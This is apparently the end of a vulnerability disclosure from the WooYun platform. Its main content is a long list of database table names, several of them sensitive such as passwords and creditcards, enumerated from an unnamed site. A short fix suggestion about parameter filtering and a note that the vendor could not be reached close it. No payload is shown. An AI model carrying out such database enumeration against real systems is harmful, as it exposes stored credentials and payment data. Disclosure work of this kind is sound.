| Descriptions_Regions |
| Descriptions_Scripts |
| Descriptions_Variants |
| Desert |
| Device |
| ENROLLMENT |
| EPIXEIRISI |
| ERDESIGNER_VERSION_ID |
| Editor |
| EmailAddress |
| Equipment |
| EthnicGroup |
| ExternalIdentifier |
| ExternalLink |
| Extlangs |
| ExtrinsicObject |
| FORM |
| FORM_QUESTION |
| Factory_Master |
| Factory_Output |
| FindCriteria |
| Flight |
| FoundLists |
| FoundThumbs |
| GDirectedRoute |
| GLI_profiles |
| GRouteDetail |
| Gallery |
| GalleryThumb |
| IDIOTIS |
| INSTITUTE |
| InstanceStringTable |
| Island |
| KARTA |
| Keyword |
| LIBRARY_BRANCH |
| LINEITEM |
| Lake |
| LimitTest2 |
| Link_table |
| Linkdesc_table |
| MEMBER |
| MOMENT |
| MetadataFieldRegistry |
| MetadataSchemaRegistry |
| MetadataValue |
| Model |
| MonitorStatus |
| Mountain |
| MountainOnIsland |
| Name |
| NextID_table |
| ORDERLINES |
| ORDERSTATUS |
| Offices |
| OperationStatus |
| PN |
| PN_Data |
| POINT |
| POINT_SET |
| PREFIX_access |
| PREFIX_category_group |
| PREFIX_configuration |
| PREFIX_customer_group |
| PREFIX_group |
| PREFIX_group_lang |
| PREFIX_order_return_state |
| PREFIX_order_return_state_lang |
| PREFIX_product_attribute_image |
| PREFIX_search_engine |
| PREFIX_tab |
| PREFIX_tab_lang |
| PREFIX_timezone |
| PROFILE |
| PROJECT |
| PS_DMK |
| PUBLISHER |
| PZ |
| PZ_Data |
| Pilot |
| Plane |
| Poles_Zeros |
| Politics |
| Polynomial |
| Prefixes |
| Priority |
| ProjectsTable |
| PropColumnMap |
| Propdesc_table |
| Province |
| Publication |
| Purchases |
| QRTZ_BLOB_TRIGGERS |
| QRTZ_CALENDARS |
| QRTZ_CRON_TRIGGERS |
| QRTZ_FIRED_TRIGGERS |
| QRTZ_JOB_DETAILS |
| QRTZ_LOCKS |
| QRTZ_PAUSED_TRIGGER_GRPS |
| QRTZ_SCHEDULER_STATE |
| QRTZ_SIMPLE_TRIGGERS |
| QRTZ_TRIGGERS |
| R1IDF |
| R1Length |
| R1Size |
| R1Sum |
| R1TF |
| R1Weights |
| R2IDF |
| R2Length |
| R2ODTMAP |
| R2Size |
| R2Sum |
| R2TF |
| R2Weights |
| RATING |
| RECORD |
| REORDER |
| ROLE_PERM |
| RegistryPackage |
| S2ODTMAP |
| SALGRADE |
| SCALE |
| SCRIPT |
| SELLER |
| SEQUENCE |
| SIGNON |
| SPJ |
| SQLDATES |
| SUPPORT_INCIDENTS |
| SYNALLAGI |
| SalesReps |
| SchemaInfo |
| Sensitivity |
| Service |
| ServiceBinding |
| Severity |
| Simple_Response |
| Slot |
| SpecialityTable |
| SpecificationLink |
| StateType |
| Station_Comment |
| Station_Data |
| StringTable |
| THOT_ALPHA |
| THOT_CATEGORY |
| THOT_CONCEPT |
| THOT_DEEP |
| THOT_LANGUAGE |
| THOT_SOURCE |
| THOT_SUB_MENU |
| THOT_TARGET |
| THOT_THEME |
| THOT_TYPE |
| THOT_YEAR |
| TIL_IDIOTON |
| TelephoneNumber |
| Thumbnail |
| ThumbnailKeyword |
| TypeRule |
| UM_PERMISSIONS |
| UM_ROLES |
| UM_ROLE_ATTRIBUTES |
| UM_ROLE_PERMISSIONS |
| UM_USERS |
| UM_USER_ATTRIBUTES |
| UM_USER_PERMISSIONS |
| UM_USER_ROLES |
| USER_GROUP |
| UsageDescription |
| UsageParameter |
| UserCapability |
| UserFields |
| UserFieldsInfo |
| UserRole |
| UserType |
| User_ |
| Variants |
| Volume |
| WROTE |
| WidgetDescriptions |
| WidgetPrices |
| WidgetReferences |
| Widgets |
| ZENTRACK_VARFIELD |
| ZENTRACK_VARFIELD_IDX |
| Action |
| GROUP |
| POSITION |
| Parameter |
| Path |
| SPACE |
| Table |
| Time |
| catalog |
| domain |
| keys |
| language |
| last |
| order |
| section |
| session |
| size |
| transaction |
| translation |
| user |
| abstract |
| acc_trans |
| accessTable |
| access_control |
| account |
| account_level |
| account_log |
| account_permissions |
| account_temp |
| account_transaction |
| accounts |
| accountuser |
| action_attribute |
| action_element |
| actions |
| activity |
| ad_locales |
| adblocks |
| address |
| addresses |
| admin |
| admin_logs |
| admins |
| ads |
| adv |
| agent |
| agent_specialty |
| aggtest |
| alarms |
| album |
| alerts |
| alias |
| allocation |
| alltypes |
| answerOption |
| ap |
| apartments |
| appVersions |
| app_user |
| applications |
| ar |
| archive |
| archtypes |
| area |
| areas |
| array_data |
| array_probe |
| array_test |
| article |
| artifact |
| artist |
| ask |
| assembly |
| assignment |
| association |
| attributeCategory |
| attrs |
| audio |
| audit |
| audittrail |
| authors |
| auto_id_tests |
| backgroundJob_table |
| badspy |
| basePlusCommissionEmployees |
| belong |
| binaries |
| biosample |
| bkp_Item |
| bkp_ItemPresentation |
| bkp_ItemReference |
| bkp_ItemReplication |
| bkp_ItemResource |
| bkp_RS_Clusters |
| bkp_RS_Servers |
| bkp_ResourceFolder |
| bkp_String |
| bldg_types |
| blobs |
| bombing |
| book |
| bookings |
| books |
| booleantests |
| borders |
| borrower |
| branch |
| bugs |
| builds |
| business |
| calendar |
| cameFromTable |
| cart |
| cart_table |
| catalogue |
| categories |
| categories_posts |
| category |
| categoryNames |
| categorylinks |
| cc_config |
| cdv_allele_curated_allele |
| cdv_curated_allele |
| cdv_curation |
| cdv_map_feature |
| cdv_marker |
| cdv_passport_group |
| cdv_passport_set |
| cdv_reason |
| cell_line |
| certificates |
| changePrix |
| changeTva |
| channelitems |
| channels |
| chart |
| checksum_history |
| checksum_results |
| child_config_traffic_selector |
| child_configs |
| child_test |
| chip_layout |
| chromosomes |
| cia |
| cities |
| city |
| client |
| clients |
| clubs |
| cmAvailableServiceBinding |
| cmAvailableServiceBindingSiteNodeTypeDefinition |
| cmContent |
| cmContentRelation |
| cmContentTypeDefinition |
| cmContentVersion |
| cmContentVersionDigitalAsset |
| cmDigitalAsset |
| cmEvent |
| cmLanguage |
| cmPublication |
| cmPublicationDetail |
| cmQualifyer |
| cmRepository |
| cmRepositoryContentTypeDefinition |
| cmRepositoryLanguage |
| cmRole |
| cmServiceBinding |
| cmServiceDefinition |
| cmServiceDefinitionAvailableServiceBinding |
| cmSiteNode |
| cmSiteNodeTypeDefinition |
| cmSiteNodeVersion |
| cmSystemUser |
| cmSystemUserRole |
| cmTransactionHistory |
| cmts |
| cmts_track |
| cocktail |
| cocktail_lokal |
| cocktail_person |
| collection_item_count |
| colnametests |
| color |
| colour |
| columns_priv |
| comboboxes |
| combustible |
| combustiblebois |
| command |
| commande |
| comments |
| commissionEmployees |
| community_item_count |
| companies |
| company |
| computers |
| conducts |
| conferences |
| config |
| config_seq |
| configlist |
| configuration |
| configuratore |
| connectorassocs |
| connectorlinks |
| connectormacassocs |
| connectorswitches |
| contact |
| contacts |
| control |
| copyrights |
| copytest |
| correo |
| countries |
| country |
| country_diseases |
| country_partner |
| coupon |
| course |
| course_section |
| courses |
| credential |
| credenziali |
| credit |
| creditcards |
| curso |
| cust_order |
| customer |
| customers |
| customertax |
| customurl |
| cv_countries |
| cv_country_synonyms |
| cv_cropping_system |
| cv_crops |
| cv_pests_diseases |
| cv_soil |
| data |
| data_set_association |
| datasets |
| datasources |
| db |
| defaultinsertid |
| defaults |
| defertest |
| delivery |
| delivery_quality |
| department |
| departments |
| dependent |
| depositor |
| dept_location |
| dept_locations |
| derived_types |
| detail_table |
| devel_logsql |
| developers |
| developers_projects |
| dictionary |
| distance |
| div_aa_annotation |
| div_accession_collecting |
| div_allele |
| div_allele_assay |
| div_annotation_type |
| div_experiment |
| div_generation |
| div_locality |
| div_obs_unit |
| div_obs_unit_sample |
| div_passport |
| div_poly_type |
| div_scoring_tech_type |
| div_statistic_type |
| div_stock |
| div_stock_parent |
| div_synonym |
| div_taxonomy |
| div_trait |
| div_trait_uom |
| div_treatment |
| div_treatment_uom |
| div_unit_of_measure |
| document |
| domain_info |
| dpt_trans |
| dtb_baseinfo |
| dtb_bat_order_daily |
| dtb_bat_order_daily_age |
| dtb_bat_order_daily_hour |
| dtb_bat_relate_products |
| dtb_best_products |
| dtb_bloc |
| dtb_blocposition |
| dtb_campaign |
| dtb_campaign_detail |
| dtb_category |
| dtb_category_count |
| dtb_category_total_count |
| dtb_class |
| dtb_classcategory |
| dtb_csv |
| dtb_csv_sql |
| dtb_customer |
| dtb_customer_mail_temp |
| dtb_customer_reading |
| dtb_deliv |
| dtb_delivfee |
| dtb_delivtime |
| dtb_kiyaku |
| dtb_mail_history |
| dtb_mailmaga_template |
| dtb_mailtemplate |
| dtb_member |
| dtb_news |
| dtb_order |
| dtb_order_detail |
| dtb_order_temp |
| dtb_other_deliv |
| dtb_pagelayout |
| dtb_payment |
| dtb_products |
| dtb_products_class |
| dtb_question |
| dtb_question_result |
| dtb_recommend_products |
| dtb_review |
| dtb_send_customer |
| dtb_send_history |
| dtb_table_comment |
| dtb_templates |
| dtb_update |
| dtb_user_regist |
| duptest |
| eco_da_biz_ge |
| economy |
| edge |
| egresado |
| egresadoxidiomaxhabilidad |
| email |
| emailinfo |
| emp |
| employee |
| employees |
| employer |
| encompasses |
| endpoints |
| enrolled |
| enrollments |
| enrolls |
| entity |
| entrants |
| equipment_type |
| equipment_type_seq |
| estudio_academico |
| event |
| evento |
| events |
| evidence |
| ew_gruppi |
| ew_menu |
| ew_moduli |
| ew_tabelle |
| ew_temi |
| ew_user |
| ewst_sessioni |
| exam |
| exchange |
| exchangerate |
| experiencia |
| experiment |
| experimental_data_set |
| expression |
| externallinks |
| extremes |
| ez_webstats_conf |
| ezcontentobject_trash |
| ezin_articles |
| ezin_authors |
| ezin_roles |
| ezin_sections |
| ezin_users |
| ezsearch_return_count_new |
| ezsearch_search_phrase_new |
| f_attributedefinition |
| f_attributedependencies |
| f_classtype |
| f_options |
| f_sequence |
| f_spatialcontext |
| f_spatialcontextgroup |
| facets |
| facilities |
| facture |
| faculty |
| federationApplicants |
| feedback |
| field |
| field_options |
| file_storage |
| filearchive |
| files |
| files_config |
| film |
| fk_test_has_fk |
| fk_test_has_pk |
| flow |
| foreigntest |
| foreigntest2 |
| form_data |
| form_data_archive |
| form_definition |
| form_definition_text |
| form_definition_version |
| form_definition_version_text |
| form_error |
| forum |
| forum_cat |
| forum_flag |
| forum_post |
| forum_report |
| forum_topic |
| forum_user |
| forum_user_activity |
| forum_user_stat |
| forum_vote |
| fournisseur |
| fournisseurType |
| fragment |
| framework_email |
| friend |
| friend2 |
| friend_statuses |
| friends |
| fruit |
| func |
| functions |
| funny_jokes |
| furniture |
| games |
| ganatlebe_ge |
| gearing |
| general_log |
| genres |
| genres_in_movies |
| geo_Desert |
| geo_Estuary |
| geo_Island |
| geo_Lake |
| geo_River |
| geo_Source |
| geo_mountain |
| geo_sea |
| gifi |
| gl |
| glas |
| globals |
| grandchild_test |
| grants |
| graphs |
| graphs_items |
| groups |
| grp |
| guava_group_assignments |
| guava_groups |
| guava_packages |
| guava_preferences |
| guava_role_assignments |
| guava_roles |
| guava_roleviews |
| guava_sysmodules |
| guava_theme_modules |
| guava_themes |
| guava_users |
| guava_views |
| habilidad |
| hardware |
| hashes |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| hero |
| hibernate_unique_key |
| history |
| history_str |
| hitcounter |
| honorsinfo |
| host |
| hostbenchmarks |
| hosts |
| hot_prop |
| hourlyEmployees |
| humanitaruli_ge |
| identification |
| identities |
| idioma |
| idiomaxegresado |
| ike_configs |
| image |
| imageAttribute |
| imageCategoryList |
| imageInfo |
| imagelinks |
| images |
| individual |
| ingredients |
| insertids |
| institution |
| insurance |
| intGroups |
| intUseringroup |
| intUsers |
| interactions |
| internetaddress |
| interwiki |
| inv_lines_seq |
| inventory |
| investigator |
| invite |
| invoice |
| invoices |
| invoices_seq |
| ipassocs |
| ipblocks |
| iplinks |
| ipmacassocs |
| ippaths |
| isDeleted_table |
| isMember |
| islandIn |
| item |
| item_master_seq |
| items |
| items_template |
| iuridiuli_ge |
| jforum_attach |
| jforum_categories |
| jforum_config |
| jforum_extension_groups |
| jforum_extensions |
| jforum_forums |
| jforum_groups |
| jforum_posts |
| jforum_privmsgs |
| jforum_quota_limit |
| jforum_ranks |
| jforum_roles |
| jforum_smilies |
| jforum_topics |
| jforum_users |
| jforum_vote_desc |
| jiveExtComponentConf |
| jiveGroup |
| jiveGroupProp |
| jiveGroupUser |
| jiveID |
| jiveOffline |
| jivePrivacyList |
| jivePrivate |
| jiveProperty |
| jiveRemoteServerConf |
| jiveRoster |
| jiveRosterGroups |
| jiveSASLAuthorized |
| jiveUser |
| jiveUserProp |
| jiveVCard |
| jiveVersion |
| job |
| job_history |
| job_title |
| jobs |
| jos_bannertrack |
| jos_categories |
| jos_components |
| jos_content_frontpage |
| jos_content_rating |
| jos_core_acl_aro |
| jos_core_acl_groups_aro_map |
| jos_messages |
| jos_modules_menu |
| jos_poll_data |
| jos_poll_menu |
| jos_polls |
| jos_sections |
| jos_stats_agents |
| jos_vm_category |
| jos_vm_coupons |
| jos_vm_export |
| jos_vm_manufacturer |
| jos_vm_order_status |
| jos_vm_order_user_info |
| jos_vm_orders |
| jos_vm_payment_method |
| jos_vm_product_download |
| jos_vm_product_mf_xref |
| jos_vm_product_reviews |
| jos_vm_product_type |
| jos_vm_product_type_parameter |
| jos_vm_shopper_vendor_xref |
| jos_vm_userfield_values |
| jos_vm_vendor |
| jos_vm_zone_shipping |
| journal |
| keyboards |
| knjiga |
| kultura_ge |
| langlinks |
| language_text |
| languages |
| lc_fields |
| leases |
| legacy_things |
| lending |
| librarian |
| licenses |
| ligneDeCommande |
| ligneDeFacture |
| line_items_seq |
| lines |
| links |
| liste_domaines |
| live_ge |
| loan |
| locale |
| located |
| locatedOn |
| location |
| locations |
| locus_data |
| log |
| log_fake_referers |
| logging |
| login |
| logtest |
| lokal |
| lookup |
| m_data |
| m_earnings |
| m_news |
| m_plans |
| m_type |
| m_users |
| m_users_acct |
| m_users_profile |
| m_with |
| macassocs |
| maclinks |
| macswitches |
| madewith |
| mailaddresses |
| mailbox |
| makemodel |
| manufacturer |
| marital_status |
| markers |
| master_table |
| math |
| maxcodcorreo |
| maxcodcurso |
| maxcodestudio |
| maxcodevento |
| maxcodexperiencia |
| maxcodtelefono |
| meals |
| media |
| medicalprocedure |
| melodies |
| members |
| members_networks |
| membership |
| menu |
| mergesWith |
| message_statuses |
| messages |
| metadata |
| mixins |
| mobile_menu |
| mobile_menu_text |
| moduleexecs |
| modules |
| monitoringi_ge |
| monthlabel |
| most_recent_checksum |
| movies |
| mtb_pref |
| mtb_zip |
| mucAffiliation |
| mucConversationLog |
| mucMember |
| mucRoom |
| mucRoomProp |
| mushroom_NBC |
| mushroom_NBC_class |
| mushroom_dataset |
| mushroom_test_results |
| mushroom_test_results_agg |
| mushroom_testset |
| mushroom_trainset |
| music_ge |
| mwuser |
| my_county |
| my_lake |
| my_poi |
| my_street |
| ndb_binlog_index |
| net_pm |
| networks |
| neuf |
| news |
| news_category |
| newsletter_queue |
| nodes |
| not_null_test |
| not_null_with_default_test |
| notes |
| nuke_gallery_categories |
| nuke_gallery_comments |
| nuke_gallery_media_class |
| nuke_gallery_media_types |
| nuke_gallery_pictures |
| nuke_gallery_template_types |
| nulltest |
| numedia |
| object |
| object_types |
| objectcache |
| oc |
| occasion |
| odetails |
| oe |
| officer |
| oidtest |
| oldimage |
| operation |
| order_line |
| order_source |
| orderitems |
| orders |
| ordreReparation |
| organization |
| organization_seq |
| organization_type_package_map |
| organizations |
| orgs |
| os |
| osc_categories |
| osc_categories_description |
| osc_manufacturers |
| osc_manufacturers_info |
| osc_products |
| osc_products_attributes |
| osc_products_attributes_download |
| osc_products_description |
| osc_products_images |
| osc_products_options |
| osc_products_options_values |
| osc_products_options_values_to_products_options |
| osc_products_to_categories |
| osc_reviews |
| osc_specials |
| ostypes |
| osvendors |
| outdoor_spaces |
| package |
| page |
| page_log_exclusion |
| page_restrictions |
| pagecontent |
| pagelinks |
| pages |
| parent_test |
| part |
| participate |
| partner |
| partof |
| parts |
| partscustomer |
| partsgroup |
| partstax |
| partsvendor |
| passwds |
| passwords |
| patient |
| pay |
| pay_melodies |
| payer |
| payload |
| payment |
| payments |
| peer_config_child_config |
| peer_configs |
| people |
| people_reg |
| permission |
| permissions |
| person |
| personnel |
| pg_ts_cfg |
| pg_ts_cfgmap |
| pg_ts_dict |
| phonelist |
| phones |
| photo |
| photoo |
| photos |
| phpbb_acl_options |
| phpbb_categories |
| phpbb_config |
| phpbb_forums |
| phpbb_groups |
| phpbb_points_config |
| phpbb_points_values |
| phpbb_posts |
| phpbb_posts_text |
| phpbb_ranks |
| phpbb_search_wordlist |
| phpbb_search_wordmatch |
| phpbb_smilies |
| phpbb_themes |
| phpbb_themes_name |
| phpbb_topics |
| phpbb_user_group |
| phpbb_users |
| physician |
| pictures |
| placex |
| platforms |
| plugin |
| plugin_sid |
| pma_bookmark |
| pma_column_info |
| pma_designer_coords |
| pma_history |
| pma_pdf_pages |
| pma_relation |
| pma_table_coords |
| pma_table_info |
| pma_tracking |
| po_seq |
| pokes |
| poll |
| pools |
| population |
| postaladdress |
| posts |
| powers |
| preferences |
| prereq |
| presence |
| pricegroup |
| primarytest |
| primarytest2 |
| priorities |
| problem |
| proc |
| procedure_biosample |
| procedure_data_set |
| procs_priv |
| product |
| product_category |
| product_colour_multi |
| product_font |
| product_font_multi |
| product_price |
| product_related |
| product_size_multi |
| product_type |
| production_multiple |
| production_wtype |
| products |
| produit |
| profession1 |
| profile_pictures |
| profiles |
| profiling |
| program |
| project_user_xref |
| projects |
| promotion |
| property |
| protocol |
| protocol_action |
| qrtz_job_listeners |
| qrtz_trigger_listeners |
| queries |
| querycache |
| querycache_info |
| querycachetwo |
| question |
| questions |
| queue_info |
| radacct |
| rating_track |
| rcpt |
| readers |
| realtable |
| rec_jobs |
| recentchanges |
| reciprocal_admin |
| reciprocal_config |
| reciprocal_links |
| reciprocal_mai

修复方案:

注意参数过滤

版权声明:转载请注明来源 hh2014@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝